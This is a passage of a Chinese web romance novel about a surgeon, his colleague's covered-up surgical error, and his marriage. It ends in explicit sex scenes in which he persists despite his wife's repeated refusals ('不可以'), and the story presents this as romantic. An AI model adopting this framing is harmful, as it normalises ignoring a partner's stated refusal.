如果徐清聿同意,她会拍下视频,以此来威胁徐清聿,他的家庭最看重脸面,徐清聿也不会允许他的人生履历有污点。 后来就有了云听看到的那一幕。 徐清聿没有制止她进一步的动作,唐瑶暗中窃喜。 她蹲下身,余光瞥见了一抹令人恐惧的冷意。 唐瑶本能地抬起头,迎上徐清聿的目光。 那是一张近乎完美的脸,五官冷峻得无可挑剔,但此刻,他在笑,笑容像一把锋利的刀,寒意刺骨。 唐瑶才意识到,徐清聿远远没有表面看上去那么简单。 他看得透彻,冷静得像一只随时准备捕猎的狼,而她不过是一只误入他领地的小丑。 徐清聿正在看她的包,或许看的不是包,而是摄像头。 唐瑶已经感到害怕了,她害怕下一秒,徐清聿就会掐住她的脖子。 她的手控制不住地颤抖。 是云听的出现拯救了她。 听到碗破碎的声音,唐瑶猛然回过神来,站起身,抓起衣服,狼狈地朝门口跑去。 她能感觉徐清聿可怖的目光落在她身上,如芒刺背,逼得她踉跄了一步。 当她走到门口时,没忍住回头看了一眼。 那不过是她的错觉,徐清聿并没有看她。 他正看着门口的女生,那双冷漠的眼睛里竟然褪去了所有的寒意,仿佛无事发生。 唐瑶收回视线时,记住了云听的脸。 * 唐瑶悄无声息地辞职了,但医院树大遮天,快速切断了这件事在全社会的流动。 徐清聿并非想要唐瑶身败名裂,便没有继续下去。 他也是后来才知道,唐瑶的失误并非只有一次。 两天后,他结束工作,走出医院的大门,看见一群人围聚在门口。 患者的家属站在人群前。 徐清聿下意识地停下了脚步,警觉地望向对方。 然而,还没等他反应过来,那名家属已经冲了过来,扬起手,狠狠地甩了他一巴掌。 巴掌声清脆响亮,周围的人都愣住了。 徐清聿的脸被打得偏向一侧,但他并没有立刻反应,只是抬起冷清的眼睛,静静地看着眼前的男人,脸上没有怒意。 可对方的眼神里充满了愤怒和怨怼。 “你为什么要多管闲事?!”家属眼眶通红,咬牙切齿地质问道,声音里带着怒火,“你知不知道,唐医生答应每年都会给我们钱?她说私底下会补偿我们,补偿我们一辈子!我们都同意了,为什么非要把她逼走?!你到底想干什么?!” 徐清聿没有说话,他用手捂了一下发烫的脸颊,眼神平静得让人心寒。 他没有愤怒,也没有辩解,而是安静地站在那里,任由对方继续发泄。 “你是不是觉得自己很了不起?!揭露真相?捍卫正义?可那些东西能当饭吃吗?!我们家需要钱,需要有人为我们负责!她本来就愿意补偿我们,你多什么嘴?现在好了,她辞职了,除了医院给的补偿金,我们什么都没了!你满意了吗?!” 患者家属的声音越来越大,语气里的控诉愈发强烈,甚至夹杂着嘲讽:“你以为你在做好事吗?你根本不知道什么是现实!你以为你揭开了真相,就能让一切变得更好吗?根本没有!我们现在连基本的生活保障都没了!” 徐清聿整理了一下衣领,缓缓开口:“你说得对,我改变不了现实。但我不能让这件事再次发生,我只是做了我认为正确的事。” “你根本就不知道我们这种普通人活得有多难!你不缺钱,可我们呢?我们相信唐医生,不是医生的失误。唐医生也愿意帮我们,愿意补偿我们,我们都已经接受了,你凭什么要插手?你不觉得自己恶心吗?” “恶心?”徐清聿重复了一遍这个词语,轻轻地笑了笑,“你们需要钱,而我是医生,我需要的是医德。” 患者家属随即更加愤怒地说道:“医德能当饭吃吗?你这样的人,根本不懂什么是生活!你就是一个自以为是的伪君子!” “恶心,真是恶心。”患者母亲重复着这句话,满是厌恶,“你这种人,以为自己是救世主?其实就是个冷血的自私鬼,谁要你的正义?” 徐清聿掀了掀眼皮,“恶心,伪君子,或许吧。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 30-40 第31章 第三十一章 徐清聿很笨 一周后, 徐清聿完成辞职手续,飞往M国。 走之前他向父母坦白了自己在医院的遭遇。 徐深凛听完后并没有立刻表态,而是沉默地坐在沙发上, 若有所思。 徐深凛见多识广,也了解医院中复杂的权力斗争。 过了许久,他站起身,走到徐清聿身边, 抬手拍了拍他的肩膀,以示鼓励:“你做得对。” 刑时漫坐在餐桌旁无声地听着,眼眶泛红,徐清聿出国是早就决定的事,可当分别来临的一刻, 没有一个人是舍得的。 等徐深凛说完话后,她再也忍不住,捂着脸低声哭了起来。 徐清聿的喉咙动了动,他的性格本就冷淡内敛,更不知道该如何回应刑时漫的眼泪。他站在原地, 半晌后道:“妈,照顾好自己。” …… 徐清聿不知道的是,他走后没多久,唐瑶也悄然出国。 出国后的唐瑶并没有在任何公开场合提及这次手术事故, 也没有继续经营自己在公众面前的形象。 她的微博页面上,停留在之前岁月静好的模样:风景照片、医学心得、闲适的日常片段, 没有透露过往的半点痕迹。 但她的粉丝冒出很多稀奇古怪的猜想: “唐老师最近怎么去了国外?” “是不是去追人了呀?” 起初,唐瑶选择无视这些评论,但随着粉丝的议论越来越多,她索性将计就计, 发了一条配图微博。 图片是她在机场的自拍,配文则是暧昧的话语:“勇敢追爱。” 这条微博一经发布,评论区立刻炸开了锅。 “我就知道!肯定是去追爱!” “瑶姐,难怪你这么有动力,原来是爱情的力量!” “祝唐医生幸福呀,追爱加油!” 唐瑶没有具体提到任何人或任何事,这条模棱两可的微博足够引发粉丝的误解,而这正是她想要的效果。 她不想被质疑,只想顺从粉丝的期待,借此掩盖所有的真相。 同时,唐瑶的势力在暗中操作,迅速屏蔽了与手术事故相关的消息。即便有少数知情人在评论区提到真相,这些留言也以极快的速度被删除,风波很快被平息。 唐瑶的微博,仍然是一片友好的景象。 徐清聿和唐瑶去同一个国家是巧合。 除了家人外,他没有告诉过任何一人,他也是后来从国内同学口中知晓唐瑶和他同在M国。 学院的老师之所以向他推荐唐瑶,他之所以尊重唐瑶,小部分原因是唐瑶是他的学姐。 唐瑶从入学时就展现出了过人的天赋和对医学的强烈兴趣。 她在课堂上的发言逻辑严密,能一针见血地提出关键问题;在实验室中,她的操作不仅精准无误,还能提出独到的改进建议。 教授们对唐瑶的评价总是溢美之词。 她和学院的许多老师一直保持着长期的联系,哪怕后来离开了国内的医学院校,她依然是一些教授心中最得意的学生之一。 “唐瑶当年的毕业论文,至今都是医学伦理课的经典案例。” “她的思维方式太灵活了,遇到复杂病例时,能找到最有效的解决方案。” “唐瑶是我们学院的骄傲。” “她不仅学术水平高,对学生也很照顾。你们这届学生要是能学到她一半的能力,都足够优秀了。” 有些教授常常向现在的学生提起她:“你们要学学唐瑶,不仅学习能力强,还懂得如何把理论和实践结合起来。她是我教学生涯中最难忘的一个学生之一。” 如此的评价让唐瑶的形象在学生中近乎完美。 她的名字成了许多新生的动力,有人以她为 目标,激励自己在医学道路上前行。 徐清聿进唐瑶所在的医院实习,在他的同学中引起了一阵轰动。许多医学生梦寐以求地想要进入这家医院,但由于竞争激烈,成功者少之又少。 既然无法向唐瑶学习,那么就成为她粉丝之一,默默关注她。 所以,唐瑶出国的消息立马传回了国内。一些曾经带过徐清聿的老师听说后,纷纷发来了问候,带着探寻的意味: “清聿,听说唐医生也去了你那边?你们俩关系不错吧,她是不是为了你才去的?” “你小子可以啊,连唐医生这样的名医都追随你出国深造,是不是要考虑一下人家的心意啊?” 徐清聿拿起手机,简单回了一句:“不是,她的决定和我没有任何关系。” 国内的同学也没闲着,一窝蜂地在微信群里讨论这件事。 “听说唐医生辞职了,结果跑去国外和清聿一个地方,八成是为了追他吧!” “唐老师之前不是来过咱们学校,说他前途无量,这关系肯定不一般。” “清聿厉害啊,唐医生都能追过来!” 徐清聿每天被实验包围,精力所剩无几,懒得多费口舌:“不是。” 这是徐清聿所知道的全部。 在国外的日子,他从来没见过唐瑶,他也分身乏术,抽不出时间去理会一个无关紧要的人。 * 徐清聿讲完了沉积在心底许久的事情,他的目光定定地落在云听身上,视线从她的脸庞开始,缓缓游走过她泛红的嘴唇,直到她垂下的眼睫。 他不知道云听到底有没有听进去。 他注视着她呆呆的模样,心头的怒气好像遇到了一阵风,消散得无影无踪。 云听没有言语,也没有任何动作,徐清聿突然觉得自己内心积压的所有愤怒都不再重要了。 他伸出手指,捏住她的下巴,拉近两人的距离,慢慢地感受云听温热的鼻息:“听明白了吗?” 云听眨了眨眼睛,长长的睫毛在光影中颤动,像两只振翅的蝴蝶。 徐清聿的心底一软,他的倾诉欲向来不强,不知为何今晚会对喝醉的云听说这么多。 也许是因为她委屈的样子,让他猛然产生一种奇异的冲动,想要倾诉,想要分享深藏的情绪和思绪。 云听第二天肯定不会记得今晚发生的事情。 不过,徐清聿并没有期待云听会有什么回应,但这份释放,对他来说,能让他暂时卸下沉重的防备和孤独。 告诉云听他和唐瑶过往前,徐清聿为了不让她受寒,将她包裹在一条柔软的浴袍里。 他探了探云听的手,不凉,但即使她不冷,两人也不能在浴室一直待下去。 他问:“听完了?现在可以乖乖洗澡了吗?” 就在这时,云听反握住他的手,在他的掌心用力蹭了蹭。 徐清聿下意识地望向两人紧扣的手指,片刻后,他叹了一口气:“你喝醉了,我才会说这么多。” 闻言,云听醉意未散的眼睛里透着不属于醉酒者的清亮,“所以呢?是不是等我清醒了,你就不会说这么多话,三言两语带过这件事呢?” 徐清聿沉默了一分钟,然后淡定地抽回手:“所以呢?你什么时候清醒的?” 云听心头一震,一阵心虚。 其实,在徐清聿吻到她快窒息时,她就已经醒了五成。 她故意沉浸在醉意的假象中,她想借这个机会,去感受他、去揣摩他的一些情绪。 吃唐瑶的醋也是真的。 闹小脾气也是真的。 所以当她听到徐清聿问她更喜欢哪一个Zephyr,她赌气地说更喜欢猫。 徐清聿好像有一点小小的生气,云听见状,飞速转移话题。 接下来发生的事情让云听再度紧张起来。 徐清聿要给她洗澡。 云听差点跳起来! 虽然她和徐清聿之间已经没有什么可以回避的距离,两人已经有多次亲密的时刻。 可当徐清聿的手指触及她的皮肤时,云听心底的警铃却再次响了起来。 她迫切地想要制止他,思来想去,最终忍住了。 她听到徐清聿夸她乖,听到他“骂”她娇气,他听到徐清聿用平静的话说出让她也觉得恶心的事。 云听不知道怎么安慰徐清聿,徐清聿承受的压力远远超出她的理解范围。 其实世界上大多数时候,所谓的“安慰”只是种形式,是一种表面上的关怀,却无法真正触及人的内心。 比如,一切都会过去的。 她曾听过无数次,也曾经用它来安慰别人,但这句话真的能减轻一个人的痛苦吗? 对于一个陷入深渊的人来说,这些话不过是微不足道的空洞语句。每个人都知道一切终会过去,但现在的痛苦,是无法被这些言辞所抚平的。 她能想象到,徐清聿在听到这些话时,只会露出一个淡淡的表情。 云听擅长安慰别人,这并非因为她天生有某种超凡的能力,而是因为她懂得倾听,懂得给予适当的回应。 但她也清楚,很多时候,她所做的不过是引导别人走出自己的困境,真正能带来改变的,是他们自己的决定。 见云听不说话,徐清聿扬唇一笑,食指再度挑起她的下巴,“你有什么想说的吗?” “我…” “你觉得我做得对吗?” 云听抬眸,认真说道:“徐清聿,每个人都能给你意见,每个人都能站在自己的立场评判你做得对与错,但最终,最重要的,还是你自己心底的感受。只有你自己,最清楚这一切是否值得,是否对得起自己。” 徐清聿所做的一切,明眼人都知道没有错。 他选择了对的道路,做了最理智的决定,可是当他开口问出那句话:“你觉得我做得对吗?” 那一瞬间,云听明白了。他并不真的在询问外界的答案,他是在自我怀疑,是在否定自己。 云听看着徐清聿,一种强烈的冲动想要开口告诉他:“你是对的。” 可是她也希望徐清聿所做的一切不用通过外界的确认,自己能够找到答案。 她不想成为他依赖的寄托,她希望他能从内心深处去接受自己的选择,并学会相信自己。 11年前,云听因为打了同班女生一巴掌,而被叫家长。 徐清聿去了。 从老师办公室出来后,云听一边走一边小心翼翼观察徐清聿的脸色,憋了很久,她主动问:“徐清聿,我是不是不该打人?我是不是做错了?” 徐清聿停下脚步:“云听,如果你认为自己没有错,那就没有错。” “可是我想让你告诉我答案。” 徐清聿顿了下,直截了当回答:“你错了,打人是不对的。” 云听失落道:“我知道,打人不好,但是她真的很过分……” “你看,你心里明明知道自己没错,为什么非得让我来给你答案?而且我的答案不是早就给你了吗?” 最开始云听不理解徐清聿什么时候给了她答案,也是后来的某一天深夜,她想到徐清聿教她如何“正确的打人。” 原来,那就是他的答案。 这件事,是云听和徐清聿的小秘密,连云闻都不知道。 现在云听想把徐清聿的话原模原样还给他。 云听倾身凑近徐清聿,环住了他的脖子,唇瓣轻轻落在他的侧脸上,“疼吗?” 没等徐清聿说话,云听自顾自地说,“有钱真好。我之前也遇到恶心的人,抄袭别人的创意,买通评委,最后得奖。” “唐瑶也挺聪明,知道你不想理会谣言,她一发令人误会的微博,网友、老师,还有她的晚辈都认为她在追你,根本没人知道她离开的真相。” 徐清聿的重点不知道落在哪里,听到她的吐槽,他问:“云听,你也遇到过那种事吗?不用担心,我也很有钱。” 云听:“……” 重点是这个吗? 云听第一次觉得徐清聿很笨,五秒后,她无奈地吐出四个字,“…我也有钱。” 第32章 第三十二章 “取悦你” 浴室里蒸腾的热气浓烈, 水声细碎。 云听站在靠门的位置,湿漉漉的发丝贴在她的脸颊和锁骨上,遮住了半边侧脸。 脸上的红晕如同妖艳美丽的桃花, 从发梢蔓延至 耳根,又攀上了白皙的面颊,无法遮掩分毫。 云听偏过头,看了一眼站在不远处的徐清聿。 徐清聿背对着她, 双手撑在洗手台,精致的面孔在镜中扭曲成一片模糊的轮廓,浅浅的皱纹在眉心聚拢,久久不散。 他还穿着白天的毛衣,长时间处在密闭潮湿的浴室, 毛衣吸附了空气中的湿意,潮气顺势爬上衣袖,渐渐地生出一丝闷热和湿黏感。 徐清聿似乎也感到不舒服,下一刻,他握住毛衣的下摆, 将它一把拉了上去。 柔软的织物在他掌心被揉出褶皱,经过窄削的腰线,滑过紧致的肩背,最后被他随意地甩到一旁的置物架上。 毛衣脱下后, 他上身只剩下一件浅色的衬衣。 云听看到徐清聿拂了一把额前湿润的黑发。 湿发被他拂至脑后,露出饱满的额头和锋利的眉骨, 水汽在他的额角凝成微小的水珠,顺着肌肤缓缓滑落。 浑然天成的气质夹杂散漫的慵懒。 十分钟前,云听吻上徐清聿的侧脸后,很快便离开了。 徐清聿偏头, 漆黑的眼眸凝视着她。 云听内心几番挣扎后,将头靠在了徐清聿的肩上,两人就这么静静地靠着,没有说话,只有彼此的呼吸声。 云听能感受到徐清聿的体温和隐藏着某种情绪的呼吸。但她没有问,只是默默地陪着,给予他足够的力量。 不知过了多久,徐清聿站起身,推开她,动作轻得几乎不惊起一丝风。 云听疑惑地看到他走到洗漱台,洗了一把冷水脸。 没有擦干。 他在镜前发呆了将近三分钟。 云听不知道徐清聿怎么了,正想收回视线,两人的视线在镜中相遇。 她垂眸避开,眼珠子四处乱瞟,拼命找东西分散自己的注意力。 不多时,云听深吸一口气,嗓音细软又带着些许紧张地开口:“那个……徐清聿,你还好吗?我的酒已经醒了,剩下的我自己来就可以了。你可以先出去吗?” 说完,她咬了咬下唇,眼神飞快地掠过徐清聿,随即又火速移开,生怕触碰到他奇怪的目光。 徐清聿没有急着回答。 他的理智像是被某种力量击溃,全身上下每一个细胞都在呐喊——想要将她拥入怀中,想要吻她,想要和她做/爱。 也许是气氛到位,又或者是别的原因,云听吻上他的侧脸时,他的世界在那一刻莫名变得安静,诡谲的安静,只剩下自己的心跳声,咚咚地敲打着耳膜。 徐清聿不知道怎么形容这种感觉,这与以往的吻都不同。 先前的吻,或是充满激情,或是情不自禁,可这个吻截然不同,有一种很平静的温柔。 像是彼此心灵深处契合,简单却深刻,纯粹却难以捉摸。 徐清聿闭上眼睛,恍惚间,复杂的情绪骤然消失,他转过身,慢条斯理地挽起衬衫袖口。 他慢慢向云听靠近。 拇指轻轻摩挲着她的耳垂,微微歪头,嘴角挑起一抹恶劣的弧度,道:“可是云听,我不喜欢半途而废。” 云听:“……” 徐清聿的手很凉,凉意在两人接触的一刹那渗入云听的耳朵。 她往后方躲了躲,徐清聿的手停在原处。 云听捂住耳朵,盯着徐清聿的双手,脑海里不知为何闪过他在手术室里的样子——戴着无菌手套的指尖轻触手术器械。 手术室里冰冷紧张的氛围与现在的湿热完全对立,但那份专注与掌控感,却一模一样。 云听耳根发热。 暧昧的气息像水汽一样,越积越浓。 “你……总是这样自作主张吗?”云听虚弱地抗议,“我想要自己洗…” “你觉得呢?”徐清聿反问。 他的声音低沉,从喉间溢出的音调有一点轻微的沙哑,像磨砂玻璃般质感分明,又流畅得让人移不开注意,撩得云听心口一颤。 云听气恼自己的自制力实在太差,“我…” “是不是不舒服?”徐清聿撩起薄薄的眼皮问,“每次都咬着唇,是不是很疼?” 当徐清聿问出那句“是不是很疼”的时候,云听立刻明白他话中的含义。 她沉默是金。 徐清聿见她不说话:“我知道了,我的技术不好。” 这句话像是一个重磅炸弹,蓦地让云听脸面炸开。 按照正常的逻辑,徐清聿不高兴,她安慰他几句,然后两人互相鼓励一下,抱一抱,接着各自洗澡、睡觉。 可事情为什么会发展到这种地步? 为什么徐清聿会在这种时候突然提到尴尬的话题? 洗澡就洗澡,为什么要突然转移话题… 徐清聿问:“怎么了?被我说中了?” 云听结巴:“你……你别乱说。” 徐清聿没有一丁点眼力见,看不见云听一副快要原地去世的表情:“我没乱说。我的技术确实不好,不然你怎么每次都咬唇,一副很辛苦的样子?” “徐清聿,你……你能不能别在这种时候说这种话?” “云听,放松,会让你舒服的。” 徐清聿就差把“想和你做”告诉云听了。 云听不是白痴,接收到他的暗示,连忙摆手制止道:“别,别这样……已经不早了,该睡觉了。” 她是有时间观念的人,哪怕不知道现在具体几点几分,但大致的时间她可以推算出来,总之不会早。 闻言,徐清聿抬腕看了一眼手表,时间是22:01分,他面不改色道:“9点,还早。” 云听不敢相信自己的耳朵。怎么可能九点? 她分明感觉时间已经过去很久了,她严重怀疑徐清聿看错了:“不可能……时间不可能这么慢。” 说罢,她探过脑袋,企图去看徐清聿手腕上的手表。 然而,就在她的手指即将触碰到手表的那一刻,徐清聿突然伸出手,一把摘下了手表,放在浴室的架子上。 云听:“……” 徐清聿:“不要浪费时间。” 云听的脸更红了,她低下头,声音小得几乎听不见:“你……你别这样,每天都这样,身体会受不了的。” 自从结婚后,她和徐清聿每晚都要经历一次“亲密接触”。 可是频繁的“亲密接触”对身体并不好,尤其是对徐清聿这种工作繁忙、压力巨大的人来说。 徐清聿审视:“你在想什么?” 云听眼神躲闪,低声嘟囔道:“我……我只是担心这样对身体不好,我们每天都这样,身体哪受得了。” 徐清聿略微诧异,笑了笑:“放心,我没你想得那么脆弱。没有一个固定的标准来限制男人和女人在一周内亲密的次数。” 云听将信将疑,小声说道:“可是……我听说纵。欲。过。度对身体不好,会影响免疫力,还可能会……” 徐清聿打断她的话,调侃问:“你知道什么是纵欲吗?那你觉得多久合适?” 这下,把烫手山芋又扔给了云听。 云听嘴角扯出一个难看的笑,“我不知道。” “放心,我清楚自己的身体状况。适度的亲密接触对身体并没有坏处,反而能缓解压力,增强免疫力。当然,过度确实不好,但我们现在并没有到那个程度。” 云听说不过徐清聿,她在这方面储备的知识,没有徐清聿一个男人来得丰富。 徐清聿没有继续逗她,见好就收,“云听,你很紧张,需要放松。” …… 身上衣物落地的时候,云听有些冷。 徐清聿让她躺在浴缸里,放满水。 他的手指落在云听的肩膀上,开始揉捏。 手法轻柔有力,能精准地找到云听每一个紧张的肌肉点,然后缓缓地舒缓开来。 云 听能感受到他指尖传来的温度,透过皮肤,一直暖到心底。 徐清聿的手法还算专业,每一次按压都是另一种方式探索她的身体。 云听肩部的酸痛逐渐减轻,但一种别样的感觉却在心底蔓延,弱声道:“你……轻一点。” 徐清聿没有回应,继续他的动作。 他的手指沿着她的肩胛骨滑动,在寻找某个特定的穴位,确认后按压。 云听感到自己的身体在他的触摸下变得越来越敏感,每一次按压都像是在他的掌控之中。 慢慢的,徐清聿的指腹掠过她的胸口,虽然只是稍微地触碰,但那一霎那,云听的身体不自觉地紧绷了起来,忍不住轻轻哼了一声。 “这里有点紧。”徐清聿的声音钻进云听的耳朵。 他正在正儿八经评估云听的身体状况。 如果不是徐清聿的手还在她的肩膀,不然云听一定会认为他意有所指,在开一辆速度很快的车。 不过,徐清聿才不会开车,他只会用最稀松平常的话说最令人尴尬的事。 “别紧张。”徐清聿克制住想亲云听眼睛的冲动,声音里带着一丝笑意,但语气依旧是高冷的调子。 云听索性闭上眼睛,这样就看不到徐清聿的目光,也不用在意他的眼神落在哪儿。 身上那双肆意的手继续往下,在她腰间游走,接着从她的腰侧滑向腹部,压着她的肚脐周围,顺带捏了捏云听腰侧的软肉。 云听紧紧抓住浴缸的边缘,她知道徐清聿只是给她按摩,但是她也害怕旧事重现,害怕那种刺激到头皮发麻的感觉再次袭来。 “等一下。”云听抖了抖睫毛,抓住徐清聿向下的手。 徐清聿动作一顿,抬起头,等待她的下文。 “你……可以把戒指拿掉吗?” 徐清聿沉默了一会儿,点头。 戒指从他的手指上滑落。 云听松了一口气,身体还没来得及放松。徐清聿一把抓住了她的手,他将摘下的戒指拿起,戴在了云听的大拇指上。 戒指套上去很松,云听微微蜷缩起手指,不让戒指掉下来。 徐清聿的手指并不粗,相反很细,只是因为他骨架大,所以即使是套在云听最粗的大拇指上,依旧留了不少空隙。 按摩结束,徐清聿伸手拿过沐浴露,挤了一些在手心,轻轻搓揉,直到起了丰富的泡沫,才覆在云听的肌肤上。 他一边动作一边专注地盯着她的反应。 滑腻的泡沫在他的指间蔓延,顺着云听的肩线、脊背,再到手臂,仔仔细细地洗过每一寸肌肤。 到达某些敏感部位时,徐清聿的动作明显放慢了一拍。 他没有急着结束,而是重复动作,泡沫在同一个地方被涂抹了许多次,像是在细细描摹一幅画。 云听欲哭无泪,短短十分钟里,她已经死了又活,活了又死几万次了。 还不如来一次…… 后面很长一段时间,她都在心里计数,什么时候能结束这场“酷刑。” 五分钟后,徐清聿开口,将神游的云听从“鬼门关”拽回来:“舒服吗?” 云听不想回答,又怕他追问,只好弱弱地说,“还…还行?” 结束后,云听狼狈地将衣服穿好,指尖不小心扣错了一颗扣子,连忙又重新解开。 收拾妥当后,她抬起头,用最镇定的语气问:“你……怎么会按摩的?感觉挺专业啊。” 徐清聿正在脱衣服,听到她的话,他解释:“了解人体结构是医生的基本要求。” 云听皱了皱眉,觉得这回答有点敷衍,追问:“可你手法这么熟练,真的…只是医生必备技能?” 徐清聿唇角弯了弯,思索片刻:“嗯……其实我以前还给猪按摩过。” “什么?” “为了更好地了解人体器官结构,大学时做实验,观察过猪的肌肉分布。”徐清聿玩味道,“既然要研究,总得实践,猪也挺享受的。” 云听被惊讶冲昏头脑,也没发觉哪里不对,脸色一阵古怪,不知道应该是觉得荒唐还是好笑:“原来医生还需要这么特别的训练…” 徐清聿看着她一本正经的表情,眼底的笑意更深了些,继续胡说八道:“嗯,为了掌握精准的肌肉和骨骼分布,这种方法很有帮助。” 云听点了点头,不明觉厉:“听起来还挺辛苦的,猪应该也挺不好伺候吧?” “也?”徐清聿忍不住低笑了一声,“嗯。” 云听听到了徐清聿的笑声,愣了愣,眉头慢慢皱起。 不对啊,她只听说医学生会用兔子做实验,什么时候开始给猪按摩了? 思绪回转,她反应过来,脸烧得通红:“徐清聿,你……” 话音未落,徐清聿吻上了云听的唇,安抚性地贴了贴,“抱歉,和你开个玩笑。” “我之前健身,为了避免肌肉损伤,所以学了一些基础的恢复手法,你是第一个体验的。” 云听:“……挺、挺好的…” 徐清聿反思这几天的例行运动,他的确只考虑自己,没有在意云听的感受,他问:“云听,你真的不想和我*吗?” 云听哑口无言,“其实,不…不是。” 徐清聿手指搭上鼻梁,熟练地摘下眼镜,停顿了一会儿后,轻柔地将眼睛架在云听的耳后。 云听透过镜片,看到徐清聿眼中那一瞬的深情与专注,呆愣住了。 原来…徐清聿没有近视啊…… “云听,给我一次机会,我想试试。” “试、试什么?” 徐清聿没有任何预兆猛地一把将云听抱起,轻盈地将她放在洗漱台上。 云听还没来得及反应过来,就被迫坐在那光滑的台面上,双腿自然下垂,眼神惊愕地望着他。 她的腿被徐清聿举过肩膀,她看见徐清聿蹲下身,将她的腿横在肩上。 云听睁大双眸,看着自己被他架起的腿,终于感到害怕:“你、你想做什么?” “云听,我想试一下。” “试一下…” “取悦你。” 第33章 第三十三章 “你在偷听?” 云听没有穿睡裤。 为什么不穿睡裤, 全部归咎于徐清聿。 别看他看起来冷冰冰的,像个不近人情的冰山,但他的体温比常人高一些, 尤其是到了夜晚。 好几次,云听都被热醒。 昨天半夜,黎明未至。 Zephyr乖乖地睡在小角落。 云听不知道自己为何又枕在徐清聿的手臂上。 徐清聿下巴轻抵在她的发顶。 他的体温热得惊人,隔着两块布料都遮不住那股炙热, 整个人像一块天然的暖炉,源源不断地向外散发热量。 云听有些懵了,细小的汗珠出现在她的鬓角,黏腻地贴在肌肤上。 她的意识还没完全清醒,但本能地觉得太热。 “好热……”云听低声抱怨了一句。 徐清聿没醒。 只是在睡梦中, 用不容拒绝的姿态,习惯性地将她圈入怀里。 宽阔的胸膛再度紧贴云听的后背,手臂自然而然地搭在她的腰上。 “你……太热了。”云听脸色很红,既是因为燥热,也是因为她发现自己和徐清聿的姿势太过暧昧。 两人的身体严丝合缝地贴在一起, 徐清聿右腿还压在自己的腿上。 有点儿沉。 云听挣脱的动静不小,徐清聿被她细微的动作唤醒,原本放在她肩膀上的手用力,将她拉得更近。 他没有睁眼, 薄唇张开,嗓音里掺了几分倦意:“云听, 是你自己睡过来的。” 云听揉了揉眼睛,一时不知该如何狡辩。 她根本不怀疑徐清聿说的话的真实性。 思来想去,以徐清聿的性格,别说主动抱人了, 就算在睡梦中无意识地靠近别人,都不符合常理。 所以唯一的解释,是她主动贴上去的。 也许是刚进入被窝比较冷,又或者是潜意识作祟,想要靠近徐清聿,反正八成是她睡得迷迷糊糊的时候,自己贴过去了。 “我不是故意的。”云听解释,声音轻得像蚊子哼哼。 徐清聿问:“我有说你故意吗?” “那……你能不能放开我,我真的很热。” 感觉到怀里的人温度的确偏高,徐清聿调整了一下姿势,“是我让你买这么厚的睡衣吗?” 云听:“……” 她拉了拉身上的睡衣,嘴里嘀咕:“哪里厚 了?” 这套睡衣面料轻薄柔软,触感滑腻贴身,虽然是长袖长裤,但用的是透气的材质,就算夏天穿也不会觉得闷热,怎么就成“厚”了? 云听无言以对。 于是,她今天干脆省了睡裤,只套了一件偏大的上衣,她想以自己的性格,今晚多半又会滚进徐清聿的怀里,穿成这样至少凉快点,也不会被热得难受。 只是没想到,方便了徐清聿。 “你干什么!快放我——”云听条件反射地抓住了衣摆,羞恼地瞪着他。 “……”她的话还没说完,就被徐清聿打断。 徐清聿的手滑向她的膝盖,微微用力,迫使她的月退向两侧分开。 “徐清聿……” 徐清聿完全无视她的抗议,指腹薄薄的茧有意无意地摩她的膝盖骨:“不想吗?” “不想…”云听屏着呼吸,她眼睁睁看着徐清聿的指尖从她的膝盖滑到她的小腿,再到脚踝,“徐清聿,不可以的…” “云听。”徐清聿不顾她的抵制,低下头,舌尖滑过她月退根的皮肤,说话时的气息都落在那处,带来一片酥麻的氧意,“真的不行?” 云听敏感地抽了抽。 “换个地方。”徐清聿说。 他托住云听的膝盖,将她抱了起来,走向床边。 眼镜在云听的鼻梁上下滑。 云听低垂的眼微颤动,遮住了眼眸中的水雾,露出一小截湿润的眼角。 等她回过神时,徐清聿已经将她放在了床铺上,冷峻的眉目低垂,多了几分温柔。 他替她摘了眼镜,亲吻她的眼角,“哭什么?” “我没有…”云听抬手遮住眼睛,睡衣已经不知不觉移位,领口滑到月匈部,衣服的下摆覆在腰上。 她的腿裸露在空中,细腻的肌肤在灯光下发亮。 徐清聿从她的眼睛离开后,没有下一步动作。 良久,云听怯怯地睁开眼眸,看到徐清聿一动不动地盯着自己,用专业到冷静的眼神,一寸一寸地检查着她的身体。 不知怎么,云听想到自己曾经在网上刷到的一些医学生分享的帖子,许多医学生会在自己的社交平台上讨论自己遇到的病例和各种医疗经验。 有一个印象深刻的帖子是,一位医学生分享了她见过的“最完美的心脏”。 她甚至记得那篇帖子中的话:“我看过最完美的心脏,完美的脉搏和血管布局,简直美得像一幅艺术画。” 云听能理解,毕竟医学是一门对生命与自然的深入探索,而每一块肌肉、每一根神经、每一次脉搏,都是大自然赋予的奇迹。 所以…徐清聿到底在看什么啊? 云听欲哭无泪,光是被他看着,她便感觉自己下月复热流涌动,床单好像也湿了。 “云听,你知道吗?”徐清聿猝不及防开口,打破一室静谧。 云听颤抖地回应:“什么?” “我有时候也在想,作为医生,我是不是有一种职业病。”徐清聿说,“我会无意识地去观察身体的每一寸,尤其是那些我们常常接触到的部位。无论是心脏,还是别的器官,都能从一些微小的变化中看出健康状况。就像你现在这样,我也习惯性地观察你的一些细节。” 云听哑口。 徐清聿继续说,“你的心跳每天都很快,我会担心你是不是哪里出了问题,但我忽然意识到,我的心跳也很快,尤其是现在。” 云听默不作声。 徐清聿一边观察她的脸色,一边说:“心跳的加速,也许是因为我们之间的距离太近,或者是情感的波动,我更倾向于后者。” 云听不想听徐清聿再科普什么医学方面的知识了,她结巴问:“徐清聿…你到底想说什么?” 徐清聿目光沉沉,斟酌着说:“我在紧张。” 说罢,他不再犹豫,握住云听的脚踝,没给她逃的机会。 不一会儿,房间响起了清晰的水声。 舌尖进入那处的那一刻,云听头皮发麻,大脑停止运转,情不自禁流下了泪水。 所有的肌肉不断收紧,突然之间,波涛在她体内激烈地翻涌,身体也被彻底点燃,快感和羞愤两种不同的力量互相交织,互相纠缠,直到完全释放。 云听不自觉地弓起腰,手指没入徐清聿的黑发,扯掉了他的几根头发,声音被刺激折磨的不成句:“徐清聿…不可以…” “不可以…进去…” “啊…”徐清聿高挺的鼻梁压在上面,云听仰起头尖叫出声。 晶莹的液体打湿了周围的皮肤,也打湿了徐清聿的脸。 * 云听洗完澡,躺在床上。 洗澡的时候,水流冲刷过皮肤,带走了一部分羞耻,但那股酸涩的感觉仍然残留在月退间,以至于到现在她还有一种正在被徐清聿入侵的错觉。 云听的眼神望向窗外的夜空,月光透过窗帘洒在房间里,照亮了她通红的脸。 脑海中出现徐清聿的取悦她的场景。 那一幕,像是被反复播放的画面,一点一点地在她的大脑里成片,有声有色。 